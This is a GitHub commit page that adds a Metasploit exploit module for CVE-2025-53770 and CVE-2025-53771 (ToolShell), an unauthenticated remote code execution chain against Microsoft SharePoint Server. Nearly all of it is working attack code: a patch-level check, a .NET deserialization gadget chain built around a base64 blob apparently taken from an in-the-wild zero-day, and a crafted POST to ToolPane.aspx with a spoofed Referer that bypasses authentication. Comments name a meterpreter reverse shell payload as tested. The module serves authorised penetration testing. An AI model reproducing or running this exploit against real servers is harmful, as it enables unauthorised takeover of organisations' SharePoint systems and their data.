Skip to content

Commit d2a1f7b

Browse files
committed
add in exploit for CVE-2025-53770 and CVE-2025-53771, Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)
1 parent 0a1cbf1 commit d2a1f7b

File tree

1 file changed

+239
-0
lines changed

1 file changed

+239
-0
lines changed
Lines changed: 239 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,239 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
17+
'Description' => %q{
18+
This module exploits the authentication bypass vulnerability CVE-2025-53771 (a patch bypass of CVE-2025-49706),
19+
and an unsafe deserialization vulnerability CVE-2025-53770 (a patch bypass of CVE-2025-49704), to achieve
20+
unauthenticated RCE against a vulnerable Microsoft SharePoint Server.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [
24+
# Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
25+
'Viettel Cyber Security',
26+
# Metasploit module, based on the public PoC of the zero-day exploit for CVE-2025-53770 and CVE-2025-53771.
27+
'sfewer-r7'
28+
# NOTE: The author attribution for CVE-2025-53770 and CVE-2025-53771 is unclear.
29+
],
30+
'References' => [
31+
# Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
32+
['CVE', '2025-49704'],
33+
# Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
34+
['CVE', '2025-49706'],
35+
# Patch bypass for CVE-2025-49704, exploited in-the-wild as a zero-day.
36+
['CVE', '2025-53770'],
37+
# Patch bypass for CVE-2025-49706, exploited in-the-wild as a zero-day.
38+
['CVE', '2025-53771'],
39+
# ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
40+
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
41+
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
42+
# Microsoft advisories for CVE-2025-53770 and CVE-2025-53771, caught in-the-wild.
43+
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
44+
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
45+
# Microsoft Guidance.
46+
['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
47+
# The zero-day exploit for CVE-2025-53770 and CVE-2025-53771, published July 21, 2025.
48+
['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
49+
# Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
50+
['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
51+
# Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
52+
['URL', 'https://x.com/thezdi/status/1923317597673533552'],
53+
# Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
54+
['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
55+
],
56+
'DisclosureDate' => '2025-07-19', # Disclosure date for CVE-2025-53770 and CVE-2025-53771.
57+
'Platform' => ['win'],
58+
'Arch' => [ARCH_CMD],
59+
'Privileged' => false, # Executes as the SharePoint site user.
60+
'Targets' => [
61+
[
62+
'Default', {}
63+
]
64+
],
65+
# NOTE: Tested with the following payloads:
66+
# cmd/windows/http/x64/meterpreter/reverse_tcp
67+
# cmd/windows/generic
68+
'DefaultOptions' => {
69+
'RPORT' => 80,
70+
'SSL' => false,
71+
# Delete the fetch binary after execution.
72+
'FETCH_DELETE' => true,
73+
# The root path of the SharePoint site
74+
'URIPATH' => '/'
75+
},
76+
'DefaultTarget' => 0,
77+
'Notes' => {
78+
'Stability' => [CRASH_SAFE],
79+
'Reliability' => [REPEATABLE_SESSION],
80+
'SideEffects' => [IOC_IN_LOGS]
81+
}
82+
)
83+
)
84+
end
85+
86+
def check
87+
res = send_request_cgi(
88+
'method' => 'GET',
89+
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'error.aspx')
90+
)
91+
92+
return CheckCode::Unknown('Connection failed') unless res
93+
94+
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
95+
96+
# The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
97+
# called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
98+
# header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
99+
site_client_tag = res.body.match(/"siteClientTag"\s*:\s*"\d*[$]+([^"]+)",/)
100+
101+
return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
102+
103+
version = Rex::Version.new(site_client_tag[1])
104+
105+
# We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
106+
# compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
107+
# the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
108+
# from July 2025).
109+
# https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
110+
# https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
111+
112+
ranges = [
113+
[
114+
'Microsoft SharePoint Server Subscription Edition',
115+
'16.0.14326.20450', # The RTM version (circa 2021)
116+
'16.0.18526.20424' # July 2025
117+
],
118+
[
119+
'Microsoft SharePoint Server 2019',
120+
'16.0.10337.12109', # The RTM version (circa 2019)
121+
'16.0.10417.20027' # July 2025
122+
],
123+
[
124+
'Microsoft SharePoint Enterprise Server 2016',
125+
'16.0.4351.1000', # The RTM version (circa 2017)
126+
'16.0.5508.1000' # July 2025
127+
],
128+
# NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
129+
[
130+
'SharePoint Server 2013',
131+
'15.0.4481.1005',
132+
'15.0.5545.1000' # Last version before end of support.
133+
],
134+
[
135+
'SharePoint Server 2010',
136+
'14.0.7015.1000',
137+
'14.0.7268.5000' # Last version before end of support.
138+
]
139+
]
140+
141+
ranges.each do |product, rtm_version, patch_version|
142+
if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
143+
return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
144+
end
145+
end
146+
147+
# If we get here, it's a patched version.
148+
Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
149+
end
150+
151+
def exploit
152+
gadget_raw = create_gadget_chain
153+
send_exploit(gadget_raw)
154+
end
155+
156+
def create_gadget_chain
157+
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
158+
#
159+
# * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
160+
# 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
161+
#
162+
# * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
163+
# work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
164+
# (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.
165+
166+
typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
167+
payload.encoded,
168+
gadget_chain: :TypeConfuseDelegate,
169+
formatter: :LosFormatter
170+
)
171+
172+
vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
173+
vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
174+
175+
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
176+
177+
# This gadget chain was pulled from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
178+
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget has
179+
# been removed and replaced with a string value "HAX".
180+
#
181+
# TO-DO: get rid of this base64 blob, and construct the gadget using the Msf::Util::DotNetDeserializatio helper routines.
182+
dataset_gadget_b64 = 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'
183+
184+
dataset_gadget_raw = Base64.strict_decode64(dataset_gadget_b64)
185+
186+
# We have replaced the original payload from the in-the-wild exploit, with a string value "HAX". We use that "HAX"
187+
# value to swap in our TypeConfuseDelegate gadget chain, and then fix up the string lengths.
188+
dataset_gadget_raw.gsub!(
189+
'HAX',
190+
typeconfusedelegate_gadget_b64
191+
).gsub!(
192+
Msf::Util::DotNetDeserialization.encode_7bit_int(9163),
193+
Msf::Util::DotNetDeserialization.encode_7bit_int(9163 - 7772 + typeconfusedelegate_gadget_b64.length)
194+
)
195+
196+
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
197+
vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
198+
199+
dataset_gadget_raw
200+
end
201+
202+
def send_exploit(gadget_raw)
203+
gadget_gzip = StringIO.new
204+
205+
gzip = Zlib::GzipWriter.new(gadget_gzip)
206+
gzip.write(gadget_raw)
207+
gzip.close
208+
209+
namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
210+
namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
211+
212+
xml = <<~EOF
213+
<%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
214+
<%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
215+
<#{namespace_ui}:UpdateProgress>
216+
<ProgressTemplate>
217+
<#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
218+
</ProgressTemplate>
219+
</#{namespace_ui}:UpdateProgress>
220+
EOF
221+
222+
send_request_cgi(
223+
'method' => 'POST',
224+
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'ToolPane.aspx'),
225+
'ctype' => 'application/x-www-form-urlencoded',
226+
'headers' => {
227+
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx')
228+
},
229+
'vars_get' => {
230+
'DisplayMode' => 'Edit',
231+
'a' => '/ToolPane.aspx'
232+
},
233+
'vars_post' => {
234+
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')),
235+
'MSOTlPn_DWP' => xml
236+
}
237+
)
238+
end
239+
end

0 commit comments

Comments
 (0)